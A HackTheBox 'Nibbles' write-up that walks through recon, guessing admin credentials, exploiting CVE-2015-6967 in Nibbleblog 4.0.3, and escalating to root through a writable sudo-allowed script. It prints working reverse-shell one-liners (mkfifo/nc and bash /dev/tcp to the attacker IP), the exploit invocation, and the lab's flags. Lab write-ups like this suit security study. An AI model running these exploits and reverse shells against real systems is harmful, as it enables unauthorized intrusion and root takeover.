~/writeups/Nibbles
Easy Linux File Upload RCE
Nibbles.
Easy Linux File Upload RCE sudo Misconfiguration HackTheBox
Easy Linux machine and an excellent introduction to web application pentesting fundamentals. The path covers source-code recon, directory brute-forcing, CMS version identification, an authenticated file upload vulnerability (CVE-2015-6967 in Nibbleblog 4.0.3), context-based credential guessing, and a textbook sudo misconfiguration for privilege escalation. Every step here maps directly to real-world techniques.
User Flag
3ad7e44158f536f0b52bf0b01d011c09
Root Flag
f418c539237eaf44b00b92811f3f53ea
01Reconnaissance

Start by storing the target IP and your own tunnel interface IP in environment variables. You'll type them dozens of times — this eliminates typos.

setup
$ export IP=10.129.5.88 $ export Lhost=10.10.14.78 # your tun0 IP — run: ip a show tun0 $ export Lport=4444

Run a full TCP port scan with version detection and default scripts. Scanning all 65535 ports instead of just the top 1000 prevents missing services on non-standard ports.

nmap
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $IP 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 80/tcp open http Apache httpd 2.4.18 (Ubuntu)
FlagMeaning
-sCRun default NSE scripts — grabs banners, checks for common misconfigurations
-sVVersion detection — identifies what software is actually running on each port
-p-Scan all 65535 ports, not just the default top 1000
--min-rate 5000Send at least 5000 packets/sec — significantly speeds up the scan
-oNSave output to a file — always save nmap results, you'll reference them later
two open ports: port 22 (SSH) and port 80 (HTTP). We can't do much with SSH without credentials, so the web server is where we start.
Apache 2.4.18 on Ubuntu: this is an older release, which typically means fewer patches and a higher chance of unpatched vulnerabilities or weak configurations. A useful mental note for later.
02Web Enumeration

Visiting http://10.129.5.88 shows a near-empty page with just "Hello world!". Before moving on, always view the page source — developers frequently leave comments, hidden paths, or credentials in HTML that aren't visible on screen.

page source — Ctrl+U in browser
<!-- /nibbleblog/ directory. Nothing interesting here! -->
hidden path in HTML comment: /nibbleblog/. Navigating there reveals a PHP blog running on Nibbleblog. The developer's comment saying "nothing interesting here" is exactly wrong — it's the entire attack surface.

With a web application identified, map out everything inside it using a directory bruter. Feroxbuster is fast, recursive, and handles extension fuzzing in one pass.

feroxbuster — recursive directory brute-force
$ feroxbuster -u http://10.129.5.88/nibbleblog \ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ -x xml \ -t 100 \ --scan-dir-listings /nibbleblog/admin/ /nibbleblog/admin.php /nibbleblog/content/private/config.xml /nibbleblog/content/private/users.xml
FlagMeaning
-x xmlAlso try .xml extensions — important since Nibbleblog stores all its data in XML files
-t 100100 concurrent threads — aggressive but fast on HTB
--scan-dir-listingsWhen a directory listing is exposed, recursively enumerate those paths too
content/private/ is publicly accessible: this is a server misconfiguration. In a properly hardened setup, these files would require authentication or be blocked by .htaccess. Here they're open to anyone, leaking config and user data.

Browse to /nibbleblog/content/private/config.xml to confirm the CMS version.

config.xml — version confirmation
<!-- Nibbleblog version 4.0.3 -->
searchsploit — look up known vulnerabilities
$ searchsploit nibbleblog Nibbleblog 4.0.3 — Arbitrary File Upload (CVE-2015-6967)
CVE-2015-6967: authenticated arbitrary file upload via the my_image plugin. The plugin accepts a file upload but does not validate the file type — uploading a PHP file gives RCE. The key word is authenticated: we need valid credentials first.
03Finding Credentials — Context-Based Guessing

The admin panel at /nibbleblog/admin.php requires a username and password. Before reaching for a wordlist, think about what we know:

· The username on small CMS installs is almost always admin
· The box is named Nibbles — on easier HTB machines, the machine name frequently relates to credentials
· The password nibbles is the obvious first guess

admin.php — login
Username: admin Password: nibbles Login successful.
why context-based guessing beats wordlists here: the password nibbles would never appear in the first pass of rockyou.txt. But it's the obvious guess given the machine name. Weak passwords derived from the application name, company name, or service name are extremely common in real environments — thinking before blasting saves time and avoids rate limits.
Nibbleblog has a blacklist rate limiter: the file admin/boot/rules/4-blacklist.bit blocks IPs that send too many failed login attempts. This is exactly why intelligent guessing is the correct approach here — a blind brute-force would get your IP blacklisted before finding the password.
04Foothold — CVE-2015-6967 (Nibbleblog File Upload RCE)

The my_image plugin in Nibbleblog 4.0.3 presents a file upload form intended for images. It performs no server-side file type validation — you can upload a .php file, and Apache will execute it when you visit the upload URL. This is a file upload to remote code execution vulnerability, one of the most impactful web vulnerability classes.

clone exploit + verify RCE
$ git clone https://github.com/hadrian3689/nibbleblog_4.0.3.git $ cd nibbleblog_4.0.3 # verify command execution first $ python3 nibbleblog_4.0.3.py \ -t http://10.129.5.88/nibbleblog/admin.php \ -u admin \ -p nibbles \ -rce whoami nibbler
RCE confirmed as nibbler. The exploit uploads a PHP web shell to the my_image plugin directory and executes our command server-side. We're running code on the target — this is our foothold.
05Reverse Shell — Upgrading from Web Shell to Interactive Terminal

The exploit gives us a command-execution proxy — each command spawns a fresh HTTP request. We can't cd into a directory and have it persist, we can't run interactive programs, and the shell is fragile. We need a real reverse shell.

A reverse shell is when the target machine connects back to us, giving an interactive terminal. We do it this way because the target is likely behind a firewall blocking inbound connections — but it can make outbound ones freely. We listen; the target calls us.

step 1 — start listener on Kali
$ nc -lvnp 4444
FlagMeaning
-lListen mode — wait for an incoming connection
-vVerbose — print connection details when something connects
-nNo DNS resolution — faster, avoids leaking lookups
-p 4444Port to listen on
step 2 — trigger reverse shell via exploit
$ python3 nibbleblog_4.0.3.py \ -t http://10.129.5.88/nibbleblog/admin.php \ -u admin \ -p nibbles \ -rce 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.78 4444 >/tmp/f' connect to [10.10.14.78] from (UNKNOWN) [10.129.5.88] $ id uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Breaking down the mkfifo payload — what each part does:

payload breakdown
rm /tmp/f # remove any existing named pipe to start clean mkfifo /tmp/f # create a named pipe (FIFO) — a special file for inter-process communication cat /tmp/f # read from the pipe (blocks, waiting for commands to arrive) | /bin/sh -i 2>&1 # pipe those commands into an interactive shell; merge stderr into stdout | nc 10.10.14.78 4444 # send the shell's output over TCP to our listener >/tmp/f # loop the output back into the pipe — creates full duplex channel
why mkfifo instead of a simpler one-liner? Many simple reverse shells only pipe stdout back. The named pipe creates a full duplex communication channel — commands we type go in one direction, output comes back the other. This gives us an interactive shell rather than a one-way command runner.
06Privilege Escalation — sudo Misconfiguration

The first thing to run the moment you land on a Linux machine is sudo -l. It lists every command the current user can run as root — and sudo misconfigurations are one of the most common privilege escalation paths both on HTB and in real environments.

sudo -l
$ sudo -l User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
sudo misconfiguration: nibbler can run monitor.sh as root without a password. The script is intended as a maintenance tool — but the path is inside nibbler's own home directory. We own it. We can write anything into that file.

The critical insight: sudo rules grant permission to run a path, not a fixed script content. If we can write to the file at that path, we control what root executes. The script name and intended purpose are irrelevant — only the path matters.

First, the directory doesn't exist yet. A personal.zip archive in nibbler's home creates it when extracted.

unzip + overwrite monitor.sh
$ cd /home/nibbler $ unzip personal.zip # creates personal/stuff/monitor.sh # on Kali — start a second listener for the root shell $ nc -lvnp 4445 # on target — overwrite monitor.sh with a reverse shell payload $ echo '#!/bin/bash' > /home/nibbler/personal/stuff/monitor.sh $ echo 'bash -i >& /dev/tcp/10.10.14.78/4445 0>&1' >> /home/nibbler/personal/stuff/monitor.sh $ chmod +x /home/nibbler/personal/stuff/monitor.sh

Breaking down the bash TCP redirect payload:

payload breakdown
bash -i # spawn an interactive bash shell /dev/tcp/10.10.14.78/4445 # Linux's built-in TCP pseudo-device — writing to it opens a TCP connection >& # redirect both stdout AND stderr to that TCP connection 0>&1 # redirect stdin from the same connection — we can send commands back
why /dev/tcp works: Linux implements /dev/tcp/HOST/PORT as a pseudo-device in bash. Opening it creates a real TCP socket — no netcat required on the target. This makes it a reliable fallback when nc, python, or other tools are unavailable.
execute as root
$ sudo /home/nibbler/personal/stuff/monitor.sh # listener catches root shell: root@Nibbles:/home/nibbler# whoami root root@Nibbles:~# cat /root/root.txt f418c539237eaf44b00b92811f3f53ea
07Attack Chain & Key Takeaways
attack chain summary
Nmap → ports 22, 80 │ ▼ HTTP: view-source → HTML comment → /nibbleblog/ │ ▼ Feroxbuster → /admin.php, config.xml, plugin paths config.xmlNibbleblog 4.0.3 → CVE-2015-6967 │ ▼ Context-based credential guess admin : nibbles → login successful │ ▼ CVE-2015-6967 (my_image plugin — no file type validation) PHP web shell upload → RCE as nibbler mkfifo reverse shell → user.txt ✓ │ ▼ sudo -l → NOPASSWD: /home/nibbler/personal/stuff/monitor.sh unzip personal.zip → path created overwrite monitor.sh → bash /dev/tcp reverse shell sudo ./monitor.sh → root.txt ✓
always view page source: the entire attack started with an HTML comment. Ctrl+U before assuming a page has nothing to offer. Developers leave breadcrumbs all the time.
run a directory bruter against every web target: Feroxbuster found config files, admin panels, and plugin paths that would have taken hours to find manually. Always run it — the wordlist does the work.
context-based guessing beats wordlists sometimes: nibbles would never appear early in rockyou.txt. But it's the obvious guess given the machine name. Think before you blast, especially when there's a rate limiter.
identify CMS + version, then searchsploit: once you know what is running and which version, look it up immediately. CVE-2015-6967 for Nibbleblog 4.0.3 is well-documented. Learn to use searchsploit and Google effectively.
upgrade your shell immediately after RCE: a web shell from an exploit is stateless, noisy, and fragile. Always upgrade to a proper reverse shell the moment you have command execution.
sudo -l is your first privesc check on Linux: run it the moment you land on a machine. Sudo misconfigurations are one of the most common privilege escalation paths both on HTB and in real environments.
writable files in sudo rules are instant root: the sudo rule grants permission to run a path, not a fixed script. If you can write to that path, you control what root executes. The script's intended purpose is completely irrelevant — only the path matters.
← all writeups